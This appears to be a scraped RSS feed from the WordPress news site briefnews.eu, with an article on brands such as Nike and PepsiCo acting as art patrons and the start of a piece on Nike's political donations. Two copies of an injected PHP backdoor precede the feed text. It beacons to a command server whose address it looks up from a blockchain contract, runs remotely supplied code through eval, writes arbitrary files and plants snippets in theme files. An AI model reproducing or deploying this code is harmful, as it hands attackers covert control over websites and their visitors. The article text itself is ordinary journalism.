// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Nike – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 10 Oct 2018 23:09:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Nike – Brief News https://briefnews.eu 32 32 Brands Like Nike and PepsiCo Are the New Art Patrons https://briefnews.eu/brands-like-nike-and-pepsico-are-the-new-art-patrons/ https://briefnews.eu/brands-like-nike-and-pepsico-are-the-new-art-patrons/#respond Wed, 10 Oct 2018 23:09:53 +0000 http://briefnews.eu/brands-like-nike-and-pepsico-are-the-new-art-patrons/ When PepsiCo decided to create a new premium water brand last year, it came up with LIFEWTR—a clear plastic bottle with a black cap and a colorful, eclectic series of labels designed by emerging artists. Art is a central part of the LIFEWTR brand. Through it, PepsiCo also donates art supplies to public schools and has endowed a $ 100,000 annual fund for the Brooklyn Museum to purchase new works.

PepsiCo is only the latest example of a brand making substantial, and sometimes surprising, new investments in art and artists. BMW has been producing Art Cars since 1975, Absolut has had artists design its vodka bottles since 1986, and Louis Vuitton has commissioned collections of handbags by artists such as Takashi Murakami, Yayoi Kusama, and Jeff Koons since 2003. But the phenomenon of brands positioning themselves as patrons of creative culture has accelerated in recent years, driven, it seems, by the rise of visual-centric social media and the merging of contemporary art with mainstream pop culture. Facebook, Kickstarter, and Adobe host artists-in-residence in their offices, and most WeWork locations commission a mural from local street artists. Dolby invites artists to constantly reconceive its logo. Nike regularly unveils sneakers designed by artists, and sponsors new media installations in cities like Hong Kong. Calvin Klein recently engaged the artist Sterling Ruby to redesign its flagship boutiques in Manhattan and Paris. Uniqlo not only puts art on T-shirts, but sponsors a grant for public artworks in New York City’s parks. Earlier this year, OkCupid tapped the Italian conceptual artists Maurizio Cattelan and Pierpaolo Ferrari to design a marketing campaign.

The relationship between art and commerce has always been filled with anxiety. The speculative art model, in which the lone genius creates a painting in her studio and later seeks a buyer, has existed for scarcely more than a hundred years. For centuries before that, artists created bespoke works following the explicit instructions of a client, be that the church, a king, or a wealthy merchant. Even in the modern art market, the tastes of collectors and institutions have influenced what artists make. Though artists aspire to create “art for art’s sake” instead of for the vulgar marketplace, even the most radical avant-garde creators have been tethered to the bourgeoisie, as the art critic Clement Greenberg put it in 1939, by “an umbilical cord of gold.”

The question “What if Nike is the new Medicis?” began as an art-world in-joke about a decade ago, but has grown less absurd over time. With the diminishing impact of traditional advertising, companies are seeking new ways to capture the attention and goodwill of the public. In exchange, brands provide financial opportunities to emerging artists. “In some ways, the goals are a little amorphous,” Natasha Degen, a historian of the art market at New York’s Fashion Institute of Technology, told me. “The lines are becoming very blurred between corporate social responsibility, philanthropy, and marketing.” In a vacuum of meaningful public-arts funding, and in contrast to the stratified commercial art market, brands have the potential to be an alternative pillar of support for artists. Can this new gray area be called patronage, and if so, what would that mean for art?

Over my career as an art critic, curator, and strategist, I’ve observed this shifting landscape up close. In 2009, I was working in Beijing as the studio manager for the artist Cao Fei when she was approached by Hermés to make a film for the brand’s traveling exhibition “HBOX.” I knew Cao to be uncompromising in all aspects of her vision, so I was initially surprised that she’d consider the project. Then she explained that the brand was giving her carte blanche—she just had to put its logo in the end credits. As she saw it, Hermés was essentially paying her to make a video she would have made anyway—and, in paying her a significant fee, would also fund another more experimental project she wanted to do.  

Cao genuinely enjoys tinkering with brands, mass culture, and, by extension, the infrastructure of capitalism itself. She had previously created a project called Whose Utopia, as part of a residency sponsored by Siemens in its light-bulb factory in Guangzhou, in which she collaborated with workers to make a film about their personal dreams and lives outside of the assembly line. More recently, Cao has collaborated with BMW (which commissioned her to make a highly experimental Art Car in 2017) and JD.com, the Chinese online retail giant (which she approached directly for logistical, not financial, support in making Asia One, a new film currently on view at the Guggenheim that considers the future of automation and human-robot interactions).

Further Reading: [The strange brands in your Instagram feed]

She has joked that, in designing her art car, she was the most “demanding” artist BMW ever worked with, continually pushing back on the collaboration to make it more interesting to her. She insisted on visiting BMW’s Chinese factories and meeting their workers, to understand more about how they run their business in China.

“For me, it’s a kind of art education for the company,” Cao told me recently. “These companies are so big and influence our whole society. If an artist can influence one of them, change them even a little bit, then even if they’re still just selling a product it might be more human.” She sees the entire process as a form of social research, and finds meaning, and perhaps a kind of Robin Hood–esque satisfaction, in the interplay. “That is the interesting point,” she said. “How the brand and artist are fighting.”

A drawing of paint brushes and tubes of paint
Pete Ryan

In the years since I worked for Cao Fei, I’ve worked on projects for brands such as Converse, Ford, Absolut, Airbnb, and Gucci. (I even helped co-found a publication that analyzes such collaborations through interviews with the brands and artists involved.) In my experience, working with a brand has most of the same trade-offs as with any other source of funding. There’s the need to diplomatically shape expectations, negotiate careful contracts, manage different communication styles, and ultimately protect artists—who are often the most vulnerable party in the equation—and their vision. I’ve found that while it’s easy to be cynical about a project funded by a brand that sells handbags or energy drinks, it’s useful to investigate one’s visceral reactions and to see these initiatives in a broader historical and economic context.

In a precarious economy, a growing number of young artists similar to Cao Fei see value in projects with ties to brands. “The notion that somebody is selling out to do that kind of collaboration”—a typical reaction in years past—“has completely fallen away,” Martha Buskirk, an art historian at Montserrat College of Art, told me. She observed that the “professionalization” of being an artist has made art school more essential, which means more artists are starting their careers with MFAs—and the hefty debt that entails. Also, as studio rents in urban areas have risen, “there’s not a lot of room for idealism that ignores how to make a living.”

Still others are attracted by the possibility to share their art with a wider audience, and to blur the distinctions between “pop” and “high” art. Shantell Martin, an artist who recently designed her third collection of shoes and apparel with Puma and has worked with other brands including Autodesk and Warby Parker, finds that in comparison to traditional exhibitions at galleries or museums, brand collaborations are often “more accessible and visible for much longer” to a broad public. Also, she said, “you’re able to make something you would not be able to make as an individual,” such as large-scale manufacturing of shoes or sunglasses.

[Selling what they preach]

However, artists are struggling to navigate the asymmetrical power relationship with large corporations, and to weave these one-off projects into a sustainable career. With no standardized fees, contracts, or best practices, artists are typically left to negotiate and advocate for themselves with little leverage. “They expect you to be super-professional on your side, but then they’re unprofessional on their side,” Amalia Ulman, a new-media artist based in Los Angeles who has collaborated with brands in the past (including two collaborations that I worked on, for Gucci and Airbnb), told me. In some cases, she said, companies have canceled large commissions at the last minute without any payment. “They can decline the project with almost no notice, or compensation, or anything.”

What’s more, some artists and critics are concerned that this influx of branded capital may prioritize certain kinds of art production over others —i.e., works that are shiny, colorful, and Instagrammable, instead of conceptual, political, and challenging. It’s true that most branded projects don’t allow artists to approach sensitive topics such as sex, violence, or political critique—or meta-critique of the brand itself (though a memorable exception was a video by the Swiss artist Sylvie Fleury depicting the destruction of Chanel handbags, included in the 2008 Chanel Mobile Art Pavilion). Ulman has often been frustrated by these restrictions. “For a brand to be able to work with an artist,” she said, “they can’t expect the artist to do something that is not art.” The brand has to allow the artist breathing room. “If you’re already telling them what font to use,” she said, “then what’s the point?”

Of course, art history reminds us that patrons of every era have shaped aesthetic trends and set the bounds of political expression. In countries like China, unbridled creative speech has never been guaranteed, so it’s perhaps unsurprising that artists there were among the first to be less sentimental and more pragmatic about both the benefits and limitations of this type of partnership—a sensibility that then filtered into other places. In addition, there’s a potential benefit in having these stakeholders and transactions so transparently mapped out. Sean Raspet, who is interested in blurring the distinction between the art economy and rest of the economy, told me, “The content of a work of art might be a very radical politics, but then the economics of the work is still selling to the .001%, as an object for a collector to speculate on.” If an artist is working with a consumer brand, then “at least the cards are on the table, and there isn’t this much of a disconnect between where the money’s coming from and how the artist is functioning.”

Raspet is going especially far in muddling these categories. As an artist and self-taught flavor chemist, in 2015 he went to work in the R&D department at Rosa Labs, the company that manufactures the beverage Soylent, to develop new flavors. (Rosa Labs introduced one of them, Nectar, to its product line, but it is now discontinued.) His contract stipulated that the artificial flavors he designed there were technically his own artworks, and could be displayed (and sold) as such in the future, though Raspet has not done so yet.

In the 1961 essay “The Plight of Culture,” Clement Greenberg wrote that in premodern societies with no clear boundary between “work” and “leisure,” “work and culture tend to be fused in a single functional complex”—uniting art, religion, craft, and the techniques of production. In the postindustrial age, as labor and leisure collapse once more, Greenberg speculated that work and culture will likely merge again. The new wave of brand patronage may be less a cause than a reflection of this change.

Perhaps in coming years, artists will complete the shift,  from making functionless objects for rich people to shaping daily life for the masses. In that process, some artists might circumvent the need for the brand-patron altogether. Raspet eventually left Rosa Labs to found his own experimental sustainable-food company called Nonfood, which makes things like an algae-based snack bar—a conceptual artwork, a political gesture and, at the same time, a product. How does it taste? Like nothing else on the market.

]]> https://briefnews.eu/brands-like-nike-and-pepsico-are-the-new-art-patrons/feed/ 0 Playing both sides: Despite woke advertising, Nike donates big to GOP https://briefnews.eu/playing-both-sides-despite-woke-advertising-nike-donates-big-to-gop/ https://briefnews.eu/playing-both-sides-despite-woke-advertising-nike-donates-big-to-gop/#respond Fri, 14 Sep 2018 00:53:12 +0000 http://briefnews.eu/playing-both-sides-despite-woke-advertising-nike-donates-big-to-gop/

Despite a virtue-signaling ad campaign featuring anthem-kneeling NFL quarterback Colin Kaepernick, sportswear giant Nike donates more than three times as much money to Republicans as it does to Democrats.

